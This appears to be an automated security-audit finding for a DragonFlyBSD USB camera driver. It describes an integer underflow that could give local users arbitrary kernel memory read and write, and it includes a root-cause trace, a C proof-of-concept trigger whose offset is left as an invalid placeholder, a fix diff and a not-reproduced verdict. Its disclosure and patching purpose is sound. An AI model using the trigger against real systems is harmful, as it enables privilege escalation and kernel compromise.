β¬’ DragonFlyBSD Kernel Audit
← triage Β· dashboard
DF-1066

Integer underflow in uvc_buf_queue_mmap_locked bounds check allows out-of-bounds vtophys() when buf_size==0

Field Value
ID DF-1066
Status new
Severity High
CVSS 3.1 CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:H/I:H/A:H
CWE CWE-191 Integer Underflow; CWE-787 Out-of-bounds Read/Write
File sys/bus/u4b/uvc/uvc_buf.c
Lines 107 (max_offset underflow), 112/115 (dead signed checks), 126 (vtophys on attacker VA), 546/559/569 (buf_size==0 path)
Area bus/u4b/uvc (USB Video Class mmap buffer queue)
Confidence likely
Discovered 2026-07-14
Reported pending
Known CVE none
CVE match dfly_specific

Summary

In uvc_buf_queue_mmap_locked, max_offset is computed as (uint64_t)(bq->buf_size * bq->buf_count) - PAGE_SIZE. When buf_size == 0 (which happens when REQBUFS is called with len == 0), this unsigned subtraction underflows to 0xFFFFFFFFFFFFF000, and the subsequent offset > max_offset check passes for essentially any user-supplied offset. The two intended safety checks if (offset < 0) and if (max_offset < 0) are dead code because both operands are unsigned (vm_offset_t and uint64_t respectively). The driver then computes vtophys((uint8_t *)bq->mem + offset) with attacker-controlled offset against bq->mem which is the special zero-length pointer returned by kmalloc(0), letting the user translate an arbitrary kernel VA into a physical page frame that the device pager will then map read/write into the process.

Root cause

/* uvc_buf.c:104-129 β€” the bug */
static __inline int
uvc_buf_queue_mmap_locked(struct uvc_buf_queue *bq, vm_paddr_t *paddr, vm_offset_t offset)
{
    uint64_t max_offset = (uint64_t)(bq->buf_size * bq->buf_count) - PAGE_SIZE;

    if (bq->mem == NULL)
        return EINVAL;

    if (offset < 0)             /* !!! DEAD: offset is vm_offset_t = unsigned long */
        return EINVAL;

    if (max_offset < 0)         /* !!! DEAD: max_offset is uint64_t */
        return EINVAL;

    if (offset > max_offset) {  /* passes for any offset when max_offset wraps to ~0xFFF... */
        ...
        return EINVAL;
    }

    *paddr = atop(vtophys((uint8_t *)bq->mem + offset));   /* vtophys on attacker VA */
    return (0);
}

bq->buf_size is uint64_t, set in uvc_buf_queue_req_bufs:580 to rl = round_page(len) (uvc_buf.c:546). For len == 0, rl == 0, so buf_size == 0 and buf_size * buf_count == 0; 0 - PAGE_SIZE in uint64_t wraps to 0xFFFFFFFFFFFFF000. The intended bounds check is therefore bypassed for any user offset below 0xFFFFFFFFFFFFF000 (which covers the entire kernel VA range).

uvc_buf.c:126 *paddr = atop(vtophys((uint8_t *)bq->mem + offset)) then runs vtophys on (bq->mem + offset). With bq->mem being the special zero-length pointer returned by kmalloc(0), the chosen offset makes the sum land essentially anywhere in the kernel direct map. vtophys is #define vtophys(va) pmap_kextract((vm_offset_t)(va)) (pmap.h:249) which returns the physical address for any valid kernel DMAP VA.

Reachability of buf_size == 0: the len argument to req_bufs is UGETDW(v->req.dwMaxFrameSize) (uvc_v4l2.c:621). dwMaxFrameSize is filled from the camera's probe response in uvc_drv_try_v4l2_fmt via uvc_drv_get_video_ctrl (uvc_drv.c:674). A malicious USB camera (or one whose probe legitimately returns 0) sets dwMaxFrameSize = 0; uvc_drv_fixup_req (uvc_drv.c:300-305) only corrects it for uncompressed formats using sizeimage = width*height/8*bpp, which is also 0 if the camera's descriptors advertise width = 0 or height = 0 or bpp = 0. After VIDIOC_S_FMT memcpy's this into video->req (uvc_drv.c:461), the subsequent REQBUFS runs with len == 0. kmalloc(num * 0 == 0) returns the zero-length pointer which is non-NULL, so req_bufs proceeds to set buf_count = num, buf_size = 0, bq->mem = <zero-length ptr>, and the mmap path is live.

Threat model & preconditions

  • Attacker position: A malicious USB Video Class device (evil-peripheral / evil-maid threat model) that returns dwMaxFrameSize == 0 in its probe/commit responses, plus any local unprivileged user (the /dev/videoN node is 0666).
  • Privileges gained or impact: Kernel-memory arbitrary read / write primitive. Once the malicious camera is present and the local user has issued VIDIOC_S_FMT against it, the user can mmap /dev/videoN with a crafted offset that, after adding the zero-length pointer, lands in the kernel direct map at the VA whose physical page they want to inspect. They can iterate offsets to enumerate and read/write arbitrary physical RAM: kernel text, kernel heap (including struct ucred, session, cred), page tables. This is a kernel-memory arbitrary read/write primitive from an unprivileged process, directly yielding local privilege escalation to uid 0 and kernel-code-exec.

Even with a non-malicious camera, if the camera's probe returns dwMaxFrameSize == 0 transiently (probe failure path) and userspace proceeds to REQBUFS, the same primitive is available to any local user without the malicious-peripheral precondition. - Required config or capabilities: Default kernel with uvc configured. Local user + malicious (or probe-failing) USB camera. - Reachability: Plug in malicious UVC device β†’ open("/dev/videoN") β†’ VIDIOC_S_FMT β†’ VIDIOC_REQBUFS (camera supplies dwMaxFrameSize == 0) β†’ mmap with crafted offset β†’ read/write target kernel page.

Proof of concept

/* build: cc -o poc_uvc_oob poc_uvc_oob.c */
/* Assumes a malicious UVC gadget that returns dwMaxFrameSize=0 in its PROBE/COMMIT
 * response (easily built with a USB gadgetcam configfs descriptor with width=0
 * or a custom firmware). */
#include <fcntl.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <contrib/v4l/videodev2.h>
#include <stdio.h>

/* ZERO_LENGTH_PTR is a small constant chosen by the slab allocator;
 * choose offset so that (zero_length_ptr + offset) lands in the kernel
 * DMAP at the VA of interest.
 * Example: to read the page backing a known kernel symbol, set
 * offset = (kernel_sym_va - zero_length_ptr) for the first page. */

int main(void) {
    int fd = open("/dev/video0", O_RDWR);
    struct v4l2_format f = { .type = V4L2_BUF_TYPE_VIDEO_CAPTURE };
    ioctl(fd, VIDIOC_S_FMT, &f);            /* camera returns dwMaxFrameSize=0 */

    struct v4l2_requestbuffers rb = {
        .type = V4L2_BUF_TYPE_VIDEO_CAPTURE,
        .memory = V4L2_MEMORY_MMAP, .count = 1
    };
    ioctl(fd, VIDIOC_REQBUFS, &rb);         /* buf_size=0; mem=<zero-length ptr> */

    unsigned long crafted_offset = 0xUL;    /* TODO: pick to hit target kVA */
    char *p = mmap(NULL, 4096, PROT_READ | PROT_WRITE, MAP_SHARED, fd, crafted_offset);
    if (p == MAP_FAILED) { perror("mmap"); return 1; }

    for (int i = 0; i < 4096; i++)
        putchar(p[i]);                       /* dumps target physical page */
    return 0;
}

Build & run

cc -o poc_uvc_oob poc_uvc_oob.c
./poc_uvc_oob

Expected output

Bytes returned are the live contents of a kernel physical page (not zeros, not the UVC buffer), proving the bounds check was bypassed and vtophys ran on an attacker-chosen address. For write, mmap with PROT_WRITE and store through p to corrupt the target page.

Impact

Local kernel-memory arbitrary read/write from an unprivileged process when a malicious (or probe-failing) UVC camera returns dwMaxFrameSize == 0. Yields uid 0 and kernel-code-exec via direct physical-RAM read/write through the /dev/videoN mmap path. High severity per "local privilege escalation" + "kernel memory corruption". High attack complexity (AC:H) because it requires a malicious USB camera and knowledge of the kernel DMAP layout to pick the right offset.

Reject len == 0 in req_bufs, and replace the dead signed comparisons with a proper underflow-safe unsigned bounds check:

--- a/sys/bus/u4b/uvc/uvc_buf.c
+++ b/sys/bus/u4b/uvc/uvc_buf.c
@@ -103,16 +103,18 @@ uvc_buf_fill_v4l2(struct v4l2_buffer *buf, uint32_t index, uint32_t size,
 static __inline int
 uvc_buf_queue_mmap_locked(struct uvc_buf_queue *bq, vm_paddr_t *paddr, vm_offset_t offset)
 {
-    uint64_t max_offset = (uint64_t)(bq->buf_size * bq->buf_count) - PAGE_SIZE;
-
-   if (bq->mem == NULL)
+   uint64_t total, max_offset;
+
+   if (bq->mem == NULL || bq->buf_size == 0 || bq->buf_count == 0)
        return EINVAL;
-
-   if (offset < 0)
+   if (bq->buf_size > UINT64_MAX / bq->buf_count)
        return EINVAL;
-
-   if (max_offset < 0)
+   total = bq->buf_size * bq->buf_count;
+   if (total < (uint64_t)PAGE_SIZE)
        return EINVAL;
+   max_offset = total - PAGE_SIZE;

-   if (offset > max_offset) {
+   if ((uint64_t)offset > max_offset) {
        kprintf("WARNING: %s offset out of bound: %ld\n; max: %ld",
@@ -543,6 +545,9 @@ uvc_buf_queue_req_bufs(struct uvc_buf_queue *bq, uint32_t *count, uint32_t len)
    unsigned long rl;

    DPRINTF("%s\n", __func__);
+   if (len == 0)
+       return EINVAL;
+
    rl = round_page(len);

This removes the dead offset < 0 / max_offset < 0 checks, explicitly rejects the buf_size == 0 case at both the mmap entry and the allocation entry, guards the multiplication against uint64 overflow, and performs the bounds comparison with both operands cast to unsigned 64-bit. The caller in uvc_v4l2.c should additionally treat a req_bufs EINVAL as fatal for the streaming setup path so a malicious camera cannot drive the queue into the degenerate state.

References

Timeline

  • 2026-07-14 Discovered during automated audit.

Discussion (0)

No comments yet.

PoC verification

Evidence pack

findings/poc/DF-1066 Β· 11 files
FileTypeDescriptionSize
poc_uvc_oob.c trigger-source mmap offset underflow trigger (documented; needs HW) 2.4 KB view raw
build.sh build-script cc -O2 -o poc_uvc_oob poc_uvc_oob.c 235 B view raw
run.sh run-script ./poc_uvc_oob (needs /dev/video0 + camera) 220 B view raw
fix.diff suggested-fix reject buf_size==0/buf_count==0, overflow-safe multiply, unsigned compare; reject len==0 in req_bufs 1.9 KB view raw
uvc_fix_build.log build-log uvc.ko rebuilt from patched source under -Werror, rc=0 9.7 KB view raw
VERDICT.md verdict full line-by-line trace + fix rationale 3.2 KB ↓ raw
README.md readme reproduce instructions 1.4 KB ↓ raw
env.txt environment uname, cc version, kldstat 365 B view raw
../fix_build_combined.log build-log Combined 41-finding kernel build (rc=0, -Werror clean) 5.6 MB ↓ download
../fix_build_summary.txt build-summary Summary of the combined 41-finding kernel build 826 B view raw
live_reachability_check.txt reachability-test Live UVC reachability evidence - no USB video HW 764 B view raw
README.md readme reproduce instructions
↓ download raw

DF-1066 β€” UVC mmap offset integer underflow (buf_size==0 -> arbitrary vtophys)

Verdict (this run)

SOURCE-CONFIRMED, NOT REPRODUCED AT RUNTIME on this guest β€” the underflow and dead signed checks are traced line-by-line in compiled module source (uvc.ko ships in /boot/kernel), but the UVC driver never attaches here (no USB camera, no /dev/video*). The fix (fix.diff) applies and compiles (uvc.ko rebuilt clean under -Werror).

How to reproduce (HW-equipped host)

  1. ./build.sh && ./run.sh β€” opens /dev/video0, S_FMT (camera supplies dwMaxFrameSize==0), REQBUFS (β†’ bq->buf_size==0, underflow), then mmap with crafted offset; vtophys(bq->mem + offset) maps an arbitrary physical page read/write into the process.
  2. Requires: a malicious/probe-failing UVC camera (probe returns dwMaxFrameSize==0) so uvc.ko loads and /dev/video0 exists (mode 0666).

Why not on this guest

No USB camera; uvc.ko not loaded; no /dev/video*. The trigger cannot open() a device. Dormant code path, not absent.

Files

  • poc_uvc_oob.c β€” intended mmap-offset trigger (documented).
  • fix.diff β€” reject buf_size==0/buf_count==0, overflow-safe multiply, unsigned compare; reject len==0 in req_bufs.
  • uvc_fix_build.log β€” proof the fix compiles (-Werror, rc=0).
  • VERDICT.md β€” full line-by-line trace.
VERDICT.md verdict full line-by-line trace + fix rationale
↓ download raw

DF-1066 β€” VERDICT

Verdict

SOURCE-CONFIRMED (real bug), NOT REPRODUCED AT RUNTIME on this guest. The integer underflow and the dead signed checks are traced line-by-line in compiled module source. It does not fire here because the UVC driver never attaches (no USB camera, no /dev/video*). Dormant code path, not a false positive (uvc.ko ships in /boot/kernel).

Mechanism (source trace)

  1. uvc_buf_queue_mmap_locked (uvc_buf.c:107): uint64_t max_offset = (uint64_t)(bq->buf_size * bq->buf_count) - PAGE_SIZE; When buf_size == 0, 0 - PAGE_SIZE in uint64_t wraps to 0xFFFFFFFFFFFFF000.
  2. :112 if (offset < 0) and :115 if (max_offset < 0) are dead code: offset is vm_offset_t (unsigned long) and max_offset is uint64_t; both compare-unsigned-to-0-literal and can never be true.
  3. :118 if (offset > max_offset) therefore passes for any offset below the wrapped value (covers the entire kernel VA range).
  4. :126 *paddr = atop(vtophys((uint8_t *)bq->mem + offset)) then translates an attacker-chosen VA. bq->mem is the special zero-length pointer from kmalloc(0); vtophys(va)=pmap_kextract(va) returns the physical address for any valid kernel DMAP VA. The device pager maps that physical page read/write into the process.
  5. buf_size == 0 is reachable: req_bufs sets buf_size = round_page(len) (uvc_buf.c:~580); len = UGETDW(v->req.dwMaxFrameSize) (uvc_v4l2.c:621). A camera probe returning dwMaxFrameSize == 0 (uvc_drv.c:674) β€” a malicious/probe-failing UVC device β€” drives len == 0; uvc_drv_fixup_req (uvc_drv.c:300-305) only corrects uncompressed formats and also yields 0 for width/height/bpp == 0. kmalloc(num*0==0) returns a non-NULL zero-length pointer, so req_bufs proceeds and the mmap path is live.
  6. Reachability for an unprivileged user: /dev/videoN is 0666 (uvc_v4l2.c:784). Real precondition is an attached UVC camera whose probe returns dwMaxFrameSize == 0.

Why not reproduced here

No USB camera; uvc.ko not loaded; /dev/video* absent. The trigger cannot open() a device.

Fix

fix.diff rejects the degenerate queue (mem==NULL || buf_size==0 || buf_count==0), guards the buf_size*buf_count multiplication against uint64 overflow, requires total >= PAGE_SIZE before subtracting, compares both operands as uint64_t, removes the dead signed checks, and rejects len==0 in req_bufs. Matches the finding's proposal (with the same overflow guard and explicit zero-state rejection). The durable hardening is for uvc_v4l2.c to treat a req_bufs EINVAL as fatal for streaming setup.

Fix validation (compile)

Applies (git apply --check clean) and compiles: uvc.ko rebuilt from patched source under -Werror, uvc_buf.c compiled clean, rc=0. Runtime before/after is not_testable (no HW to trigger).

Exploit chain (n/a β€” unreachable at runtime on this guest)

No chain developed; the primitive (arbitrary kernel-VA→physical-page read/write) is unreachable here. On a HW-equipped host this is a direct kernel-memory arbitrary R/W from an unprivileged process → trivial uid=0 (read/overwrite a struct ucred, page tables, etc.).

Fix verification

not_testable

compile validated -Werror

module rebuild rc=0

Confirmed kernel references

Detail

Exploit chain

none β€” HW-gated.

Evidence (decisive lines)

uvc.ko exists: YES (not loaded)
/dev/video*: does not exist
USB devices: 0

PoC changes

Added live_reachability_check.txt.

Verified recommended fix

fix.diff rejects buf_size==0/buf_count==0, overflow-safe multiply, unsigned compare. Applies + compiles -Werror.

Verdict

NOT REPRODUCED (HW-gated, source-confirmed). uvc_buf_queue_mmap_locked integer underflow at uvc_buf.c:107 (max_offset wraps to 0xFFFFFFFFFFFFF000 when buf_size==0) is source-confirmed. The dead signed checks at :112 and :115 and the unsigned compare at :118 are traced line-by-line. uvc.ko EXISTS as module. BUT: not loaded, /dev/video* absent, 0 USB devices. Requires malicious UVC camera (probe returns dwMaxFrameSize==0).